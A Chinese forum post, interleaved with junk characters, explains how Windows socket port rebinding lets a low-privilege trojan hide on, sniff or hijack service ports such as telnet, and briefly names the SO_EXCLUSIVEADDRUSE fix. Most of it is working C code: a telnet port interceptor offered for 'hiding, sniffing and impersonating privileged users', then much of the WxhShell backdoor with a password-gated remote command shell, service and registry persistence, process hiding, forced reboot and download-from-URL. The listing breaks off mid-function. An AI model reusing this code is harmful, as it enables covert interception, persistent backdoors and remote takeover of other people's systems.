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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nA.U'=`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &TrL!9FtJ  
>1]hR)Ip  
  saddr.sin_family = AF_INET; sCQV-%9  
j]5e$e{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); KV9~L`=]i  
gSyBoY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $#W^JWN1  
TlX:05/V8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [Fk|m1i!  
B4+u/hkbh?  
  这意味着什么?意味着可以进行如下的攻击: B> \q!dX3  
b].U/=Hs  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xXmlHo<D  
I69Z'}+qz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]gv3|W  
O*,O]Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KZ^>_K&  
wc"~8Ah  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qf<o"B|_9  
'.S02=/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {Dy,|}7s  
b'R]DS{8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .W2w/RayC  
\ :q@I]2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QyZ' %T5J  
XH/!A`ZK  
  #include D@[#7:rHL  
  #include [O!/hppN  
  #include EQZ/v gho  
  #include    .RmoO\ ,Gm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p<l+js(5|  
  int main() !,5qAGi0  
  { DZb0'+jQ  
  WORD wVersionRequested; aM,g@'.=  
  DWORD ret; 2~r2ErtS  
  WSADATA wsaData; o: > (Tv  
  BOOL val; mRGr+m  
  SOCKADDR_IN saddr; nKtRJ,>  
  SOCKADDR_IN scaddr;  :fy,%su  
  int err; _z.CV<  
  SOCKET s; s*i,Ph  
  SOCKET sc; Lk^bzW>f  
  int caddsize; c*" P+  
  HANDLE mt; IEJ)Q$GI#  
  DWORD tid;   T xpj#JD  
  wVersionRequested = MAKEWORD( 2, 2 ); wGIRRM !b  
  err = WSAStartup( wVersionRequested, &wsaData ); hg'eSU$J  
  if ( err != 0 ) { ^%g 8OP  
  printf("error!WSAStartup failed!\n"); r( wtuD23q  
  return -1; Zc&pJP+M'U  
  } Dsv2p~  
  saddr.sin_family = AF_INET; z\K %  
   P#8lO%;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8+(wAbp  
Tgi7RAY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5N ;xo??  
  saddr.sin_port = htons(23); WUQa2$.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F4Cq85#  
  { }20tdD ~  
  printf("error!socket failed!\n"); 2@HmZ!|Q  
  return -1; O]F(vHK\   
  } +x4*T  
  val = TRUE; 4ISIg\:c*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pXh`o20I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I!K-* AB  
  { G'nSnw  
  printf("error!setsockopt failed!\n"); uz=9L<$  
  return -1; HoWK# Nz\  
  } `G*fx=N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MD,BGO?C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9j5Z!Vsy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G-]_ d  
XQ}7.u!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) NPa4I7`A  
  { U56g|V  
  ret=GetLastError(); Eb29tq  
  printf("error!bind failed!\n"); v6=X]Ji{YA  
  return -1; k>!i _lb  
  } rploQF~OFF  
  listen(s,2); zd F;!  
  while(1) G1ruF8  
  { k<N5*k8M  
  caddsize = sizeof(scaddr); { W5 _KX  
  //接受连接请求 R7FI{ A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); tBsvi%F  
  if(sc!=INVALID_SOCKET) hW;n^\lF#e  
  { mOLz(0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -ni@+Dy  
  if(mt==NULL) %)&Tr`   
  { 65RD68a  
  printf("Thread Creat Failed!\n"); g(Oor6Pp  
  break; rO/Sj<0^  
  } ; =*=P8&5  
  } !)}z{,Jx  
  CloseHandle(mt); X]GodqL\  
  } 6W;`}'ap  
  closesocket(s); X2Q35.AB  
  WSACleanup(); qpa}6JVQ+j  
  return 0; ;~`/rh V\  
  }   v&f\ Jv7  
  DWORD WINAPI ClientThread(LPVOID lpParam) <fMQ#No  
  { zP c54 >f  
  SOCKET ss = (SOCKET)lpParam; PVmePgF   
  SOCKET sc; "`Xbi/i  
  unsigned char buf[4096]; YNp-A.o W@  
  SOCKADDR_IN saddr; Ou f\%E<  
  long num; eOZ~p  
  DWORD val; 8N<m V^|}  
  DWORD ret; $!\L6;:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .I^Y[_.G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -Wre4 ^,v  
  saddr.sin_family = AF_INET; 7.kH="@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $8[JL \  
  saddr.sin_port = htons(23); "`a,/h'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )$*B  
  { vP%:\u:{  
  printf("error!socket failed!\n"); #9qX:*>h   
  return -1; z> N73 u  
  } 2Z`Jr/  
  val = 100; "tA.`*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pt6d5EIG  
  { _,p/2m-Pj  
  ret = GetLastError(); 3 rLc\rK  
  return -1; N5xI;UV9'  
  } dLR[<@E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FL0yRF5  
  { rK'O 85)eU  
  ret = GetLastError(); ( "<4Ry.u  
  return -1; Fa#5a'}I  
  } $lUz!m jG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #wh[F"zX  
  { h]VC<BD6S  
  printf("error!socket connect failed!\n"); xZQyH  
  closesocket(sc); a%/x  
  closesocket(ss); {OS[0LB  
  return -1; 'BVI^H4  
  } m?;/H  
  while(1) b%VZPKA;  
  { ,}I m^~5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VQ+G.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pp >F)A0v  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v\}{eP'  
  num = recv(ss,buf,4096,0); B!)Tytm9u  
  if(num>0) :"Rx$;a  
  send(sc,buf,num,0); dw| VH1fS  
  else if(num==0) 98UI]? 4  
  break; +NOq>kH@  
  num = recv(sc,buf,4096,0); 4:kDBV;v  
  if(num>0) 1ZvXRJ)%  
  send(ss,buf,num,0); %F:; A  
  else if(num==0) gf/<sH2}  
  break; T[J8zL O  
  } "VMb1Zhf  
  closesocket(ss); b.)jJLWv@  
  closesocket(sc); =%b1EY k  
  return 0 ; .j"@7#tW  
  } u|Ng>lU  
~cfvL*~5  
\GGyz{i  
========================================================== W!* P  
;9vY5CxzC  
下边附上一个代码,,WXhSHELL i3$pqNe  
@CC 6 `D  
========================================================== Y{X%C\  
]BmnE#n&  
#include "stdafx.h" CUaL  
$vn x)#r3  
#include <stdio.h> 4-C'2?  
#include <string.h> G P ' -  
#include <windows.h> m;>:mwU  
#include <winsock2.h> RiIafiaD  
#include <winsvc.h> >#Bu [nD%  
#include <urlmon.h> zN\C  
KJt6d`ZN  
#pragma comment (lib, "Ws2_32.lib") (:}}p}u  
#pragma comment (lib, "urlmon.lib") X0LC:0+  
Yv"B-oy  
#define MAX_USER   100 // 最大客户端连接数 NK%Ok  
#define BUF_SOCK   200 // sock buffer FbW$H]C$  
#define KEY_BUFF   255 // 输入 buffer ]Z [0xs  
!H6X%hlk  
#define REBOOT     0   // 重启 FrV8_[  
#define SHUTDOWN   1   // 关机 LK>;\BRe?  
&Cr4<V6-q  
#define DEF_PORT   5000 // 监听端口 iaRCV 6cl  
/2 $d'e  
#define REG_LEN     16   // 注册表键长度 p>W@h*[6w  
#define SVC_LEN     80   // NT服务名长度 pLMaXX~4_  
LQ||7>{eX  
// 从dll定义API gYmO4/c,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -Q%Pg<Q-#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SES-a Mi3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Na+h+wD.D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !y$+RA7\  
"2PT]!  
// wxhshell配置信息 hsYv=Tw3C  
struct WSCFG { b]N&4t  
  int ws_port;         // 监听端口 s$^2Qp  
  char ws_passstr[REG_LEN]; // 口令 cPg{k}9Tvy  
  int ws_autoins;       // 安装标记, 1=yes 0=no y QGd<(  
  char ws_regname[REG_LEN]; // 注册表键名 }!m}?  
  char ws_svcname[REG_LEN]; // 服务名 S{,|Fa^PPO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8K&=]:(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3XNk*Y[5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &{ZUY3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :b;`.`@KL_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y'O<*~C(X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1 r3} V7  
$|AasT5w  
}; -_Kw3x  
8wn{W_5a  
// default Wxhshell configuration LbR'nG{J  
struct WSCFG wscfg={DEF_PORT, +/hd;s$x  
    "xuhuanlingzhe", (?"z!dgc  
    1, B_XX)y%V  
    "Wxhshell", 6wZ)GLW[  
    "Wxhshell", =RQI5 nHdw  
            "WxhShell Service", $\PU Y8  
    "Wrsky Windows CmdShell Service", \(r$f!`  
    "Please Input Your Password: ", ; {v2s;  
  1,  #J  
  "http://www.wrsky.com/wxhshell.exe", f|~X}R  
  "Wxhshell.exe" b|\dHi2F T  
    }; v3<q_J'qT  
^Ww5@  
// 消息定义模块 g1Osd7\o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GH`y-Ul'K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4^:$|\?]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (ki= s+W-  
char *msg_ws_ext="\n\rExit."; 0!tuUn  
char *msg_ws_end="\n\rQuit."; rU 1Ri  
char *msg_ws_boot="\n\rReboot..."; ACpecG  
char *msg_ws_poff="\n\rShutdown..."; QuC_sFP10  
char *msg_ws_down="\n\rSave to "; _7dp(R  
,,lR\!>8  
char *msg_ws_err="\n\rErr!"; "CZv5)  
char *msg_ws_ok="\n\rOK!"; M; YJpi  
32`Z3-  
char ExeFile[MAX_PATH]; ?F*I2rt#  
int nUser = 0; %al 5 {  
HANDLE handles[MAX_USER]; u^W!$OfZpp  
int OsIsNt; Fqh./@o  
(B! DBnq  
SERVICE_STATUS       serviceStatus; <-,y0Y'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '~1Zr uO  
nC)"% Sa  
// 函数声明 WuTkYiF  
int Install(void); L$y~\1-  
int Uninstall(void); z";(0%  
int DownloadFile(char *sURL, SOCKET wsh); W{~ y< `D  
int Boot(int flag); 9mjJC  
void HideProc(void); ]bYmM@  
int GetOsVer(void); g1(5QWb  
int Wxhshell(SOCKET wsl); 4&v&XLkb  
void TalkWithClient(void *cs); f>3)}9?xc}  
int CmdShell(SOCKET sock); n^*,JL 9@  
int StartFromService(void); oA@c.%&  
int StartWxhshell(LPSTR lpCmdLine); pWP1$;8   
<qEBF`XP=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :[0)Uu{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9~jS_Y)"  
1qBE|PwBp  
// 数据结构和表定义 'pB?  
SERVICE_TABLE_ENTRY DispatchTable[] = JVr8O`>T  
{ 14*6+~38m&  
{wscfg.ws_svcname, NTServiceMain}, =&(e*u_  
{NULL, NULL} 5".bM8o  
}; @.`k2lxGd~  
'(g;nU<  
// 自我安装 m_,Jbf  
int Install(void) cvhwd\  
{ kp#XpcS  
  char svExeFile[MAX_PATH]; Nbv b_  
  HKEY key; J6"GHbsO  
  strcpy(svExeFile,ExeFile); .tQ(q=#  
COmu.'%*  
// 如果是win9x系统,修改注册表设为自启动 4;eD}g  
if(!OsIsNt) { JAT%s %UC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @AK&R~<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); < RtyW  
  RegCloseKey(key); m9+?>/R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sf:IA%.4t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); emB<{kOkw  
  RegCloseKey(key); o2q-x2uB  
  return 0; p(K ^Zc  
    } tmoaa!yRnT  
  } };<?W){!H  
} gQJLqs"F  
else { bbDm6,  
iyXd"O  
// 如果是NT以上系统,安装为系统服务 &xGpbJG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #M5d,%?+#[  
if (schSCManager!=0) 5?([jAOf  
{ H4j1yD(d  
  SC_HANDLE schService = CreateService #9~,d<H  
  ( 5%}!z~8Y4  
  schSCManager, `(=?k[48  
  wscfg.ws_svcname, c]bG5  
  wscfg.ws_svcdisp, $Sa7N%D  
  SERVICE_ALL_ACCESS, 4=;j.=>0X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (U 4n} J  
  SERVICE_AUTO_START, "S*@._   
  SERVICE_ERROR_NORMAL, xtKU;+#  
  svExeFile, ?/-WH?1I  
  NULL, ]cVDXLj$  
  NULL, \u))1zRd  
  NULL, &\b(  
  NULL, g1.u1}  
  NULL }^j8<  
  ); `l/nAKg?W  
  if (schService!=0) LsaX HI/?b  
  {  :8==Bu  
  CloseServiceHandle(schService); USHQwn)%  
  CloseServiceHandle(schSCManager); )jg*u}u 0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); foL4s;2  
  strcat(svExeFile,wscfg.ws_svcname); qywl G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -Dy<B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o4Cq  /K  
  RegCloseKey(key); WWH<s%C  
  return 0; NffKK:HvBB  
    } p<}y'7(  
  } ,v#n\LD`  
  CloseServiceHandle(schSCManager); dUl"w`3  
} kqxq'Aq)d  
} @^  *62  
X%kJ3{  
return 1; sUK|*y  
} |]k,0Y3v  
CDsl)  
// 自我卸载 noEl+5uY  
int Uninstall(void) N:'!0|6?x-  
{ !$>b}w'  
  HKEY key; 9!Jt}n?!g  
|@yYM-;6  
if(!OsIsNt) { 8{ =ha  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~(huUW  
  RegDeleteValue(key,wscfg.ws_regname); AXSip  
  RegCloseKey(key); YRr,{[e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5MD'AP:  
  RegDeleteValue(key,wscfg.ws_regname); (E&M[hH+  
  RegCloseKey(key); yWE\)]9  
  return 0; D .LR-Z  
  } /!A"[Tyt  
} kWy@wPqms  
} b-#lKW so  
else { D6+3f #k6  
4z26a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a?8)47)  
if (schSCManager!=0) v+`'%E  
{ R5(([C1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vyB{35p$  
  if (schService!=0) (v|<" tv  
  { \_6  
  if(DeleteService(schService)!=0) { 75R#gQ]EV  
  CloseServiceHandle(schService); +`>E_+Mp  
  CloseServiceHandle(schSCManager); (C"q-0?n  
  return 0; Xw<;)m  
  } &=$f\O1Ty  
  CloseServiceHandle(schService); Dj'?12Onu=  
  } A9u>bWIE7  
  CloseServiceHandle(schSCManager); m)"(S  
} @G=7A;-pv0  
} kR^h@@'F"  
)T^w c:  
return 1; ?A_+G 5  
} JX[]u<h?  
(xVx|:R[<H  
// 从指定url下载文件 <eS/-W %n6  
int DownloadFile(char *sURL, SOCKET wsh) e*PUs  
{ $Cfp1#  
  HRESULT hr; JMo r[*  
char seps[]= "/"; (w5cp!qW9J  
char *token; %N&W_.F6  
char *file; ?wCX:? g  
char myURL[MAX_PATH]; <)T~_s  
char myFILE[MAX_PATH]; _@[W[= |H  
6 R})KIG  
strcpy(myURL,sURL); U`HY eJ  
  token=strtok(myURL,seps); |9IOZ>H9  
  while(token!=NULL) l&e$:=;8  
  { Ba|}$jo  
    file=token; q*` m%3{  
  token=strtok(NULL,seps); qQG? k~r  
  } ~u2f`67{  
n*na6rV\k  
GetCurrentDirectory(MAX_PATH,myFILE); g<M!]0OK  
strcat(myFILE, "\\"); HiU)q  
strcat(myFILE, file); ~9vK 6;0  
  send(wsh,myFILE,strlen(myFILE),0); ujmIS~"  
send(wsh,"...",3,0); j|K;Yi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qm:C1#<p   
  if(hr==S_OK) a|oh Ad  
return 0; j 4=iHnE;  
else `67i1w`  
return 1; {z0iWY2Xw  
Ng*-Bw)p]  
} LD5`9-  
{"{]S12N  
// 系统电源模块 j3/6hE>  
int Boot(int flag) REK):(i7P  
{ :DNI\TmhJ  
  HANDLE hToken; 2y;vX|lX]  
  TOKEN_PRIVILEGES tkp; ~&qvS  
su1fsoL0  
  if(OsIsNt) { Dv/7 w[F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2gZp O9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K[OOI~"C  
    tkp.PrivilegeCount = 1; 4m91XD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nQ+5jGP1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FjtS  
if(flag==REBOOT) { k_wcol,W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5 m-/N ?c  
  return 0; $`/UG0rdC  
} w?|qKO  
else { }8aqSD<:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SE^l`.U@  
  return 0; :?g+\:`/0j  
} ,@?9H ~\  
  } rXD:^wUSc  
  else { Fb%?qaLmCv  
if(flag==REBOOT) { 9wldd*r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :adz~L$  
  return 0; 3.BUWMD  
} u^{p' a'  
else { ")i)vXF'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IjRUr\l  
  return 0; >Jx=k"Kv+  
} GF% /q:9  
} wLqj<ot  
Qr3!6  
return 1; L@6]~[JvP  
} KhB775  
eUB!sR%  
// win9x进程隐藏模块 O)VcW/  
void HideProc(void) *Ic^9njt  
{ UhS:tT]7  
$o5i15Oy.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Kd+E]$F_OH  
  if ( hKernel != NULL ) m+s*Io{Ip  
  { 63Gq5dF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +ynhN\S$/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wyB]!4yy,  
    FreeLibrary(hKernel); * BR#^Wt  
  } %~Rg`+  
FP=- jf/  
return; Er j{_i?R?  
} Y]0c%Fd  
g*YA~J@  
// 获取操作系统版本 u$[8Zmgzz  
int GetOsVer(void) GEf=A.WAfw  
{ PN]hG,q*4O  
  OSVERSIONINFO winfo; X coPkW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2!B|w8ar  
  GetVersionEx(&winfo); Q}lCQK/g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P<vU!`x% q  
  return 1; @- |G_BZ  
  else t7x<=rW7u  
  return 0; a}FyJp  
} L@AFt)U  
J.4U;A5  
// 客户端句柄模块 ]9/A=p?J@  
int Wxhshell(SOCKET wsl) 8YlZ({f  
{ H OWpTu(  
  SOCKET wsh; Fovah4q%V  
  struct sockaddr_in client; %?gG-R  
  DWORD myID; a"U3h[;$y  
-sJD:G,%  
  while(nUser<MAX_USER) q&v~9~^}d  
{ E:**gvfq  
  int nSize=sizeof(client); 8o%Vn'^t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {X(nn.GpC  
  if(wsh==INVALID_SOCKET) return 1; v8yCf7+"  
{*GBUv5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _h}(j Ed!  
if(handles[nUser]==0) *m<[ sS  
  closesocket(wsh); #9]2Uixq[  
else t}h(j|  
  nUser++; *a CVkFp  
  } W9w(a:~hY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u]Vt>Ywu  
~210O5^  
  return 0;  eu$VKLY*  
} 9 CZ@IFS  
_^GBfM.  
// 关闭 socket MjC<N[WO>N  
void CloseIt(SOCKET wsh) TCyev[(  
{ _yN5sLLyb  
closesocket(wsh); $aJay]F  
nUser--; t>}S@T{~T  
ExitThread(0); )$E){(Aa  
} SQf[1}$ .  
 d6tLC Q  
// 客户端请求句柄 i:jXh9+  
void TalkWithClient(void *cs) Oz-/0;1n  
{ g*oX`K.  
iEtR<R>=  
  SOCKET wsh=(SOCKET)cs; ^z)De+,!4  
  char pwd[SVC_LEN]; \HzmhQb+m  
  char cmd[KEY_BUFF]; ~v2(sRJ  
char chr[1]; Ep./->fOA  
int i,j; #?S"y:  
.cs x"JC  
  while (nUser < MAX_USER) { @PNgqjd  
t`Z3*?UqI  
if(wscfg.ws_passstr) { t.;._'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =T2SJ)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aanS^t0  
  //ZeroMemory(pwd,KEY_BUFF); oz=ULPZ%  
      i=0; O8\f]!O(  
  while(i<SVC_LEN) { (jU_lsG  
8/)\nV$0Y  
  // 设置超时 `H:`JBe=+[  
  fd_set FdRead; u,8)M' UU  
  struct timeval TimeOut; klQmo30i  
  FD_ZERO(&FdRead); `(?c4oq,c>  
  FD_SET(wsh,&FdRead); $nmt&lm  
  TimeOut.tv_sec=8; +jB;  
  TimeOut.tv_usec=0; _w?!Mu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bv]SR_Tiq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @,sjM]  
aB;f*x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s1cu5eCt  
  pwd=chr[0]; \w1XOm [)  
  if(chr[0]==0xd || chr[0]==0xa) { `x _(EZ  
  pwd=0; Psx"[2iZm  
  break; NCi~. I  
  } }gX hN"  
  i++; JGvhw,g  
    } 3;Yd"  
qdpi-*2  
  // 如果是非法用户,关闭 socket #p*uk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L)U*dY   
} ER9{D$  
BrSvkce  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C=&n1/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NYHK>u/5c  
P A ZjA0d  
while(1) { zL+t&P[\  
Ip7#${f5M  
  ZeroMemory(cmd,KEY_BUFF); "!vY{9,  
n!Y_SPg   
      // 自动支持客户端 telnet标准   v+{{j|x=  
  j=0; g!_#$az3  
  while(j<KEY_BUFF) { cFq<x=S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -DHzBq=H  
  cmd[j]=chr[0]; Ow>u!P!  
  if(chr[0]==0xa || chr[0]==0xd) { K5LJx-x*j  
  cmd[j]=0; ?'f  
  break; b3>zdS]Q  
  } cd1-2-4U  
  j++; Zx{Sxv"  
    } \`~YW<D  
]3,9 ."^  
  // 下载文件 {~9HJDcM  
  if(strstr(cmd,"http://")) { (OES~G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [8Y7Q5Had  
  if(DownloadFile(cmd,wsh)) |Y}YhUI&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r@r*|50  
  else UVl B=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rAHP5dx:  
  } +jF |8  
  else {  G-1qxK  
?q4`&";{3  
    switch(cmd[0]) { xva e^gr  
  -7w}+iS  
  // 帮助 Hl%Og$q3  
  case '?': { fh)eL<I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E-Xz  
    break; 9[VYd '  
  } ;0m J4G  
  // 安装 NX%1L! #  
  case 'i': { 6|q"lS*$S  
    if(Install()) 6p)&}m9!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Peph..8Z  
    else y>t:flD*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &uE )Vr4R  
    break; N`IXSE  
    } ~),%w*L  
  // 卸载 /y{fDCC  
  case 'r': { x7E] }h  
    if(Uninstall()) AKjobA#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /f?;,CyI  
    else #FAW@6QG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6P >Y2xV:  
    break; \;'#8  
    } d!T,fz/-.  
  // 显示 wxhshell 所在路径 %K3U`6kHcd  
  case 'p': { XQ[\K6X5  
    char svExeFile[MAX_PATH]; ] H;E(1iU  
    strcpy(svExeFile,"\n\r"); J&'*N :d  
      strcat(svExeFile,ExeFile); d_$0  
        send(wsh,svExeFile,strlen(svExeFile),0); -:d{x#  
    break; dL4VcUS.  
    } |Tmug X7  
  // 重启 J&h59dm-  
  case 'b': { rz|Sjtq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'qiAmaX  
    if(Boot(REBOOT)) mz1m^p)~{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AaB1H7r-  
    else { ul N1z  
    closesocket(wsh); dkEbP*y Xg  
    ExitThread(0); -eV*I >G  
    } C[znUI>  
    break; q7aqbkwz}  
    } rN#9p+t$  
  // 关机 \ CcVk"/  
  case 'd': { LEnv/t6U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y'2w*?  
    if(Boot(SHUTDOWN)) "'``O~08/  
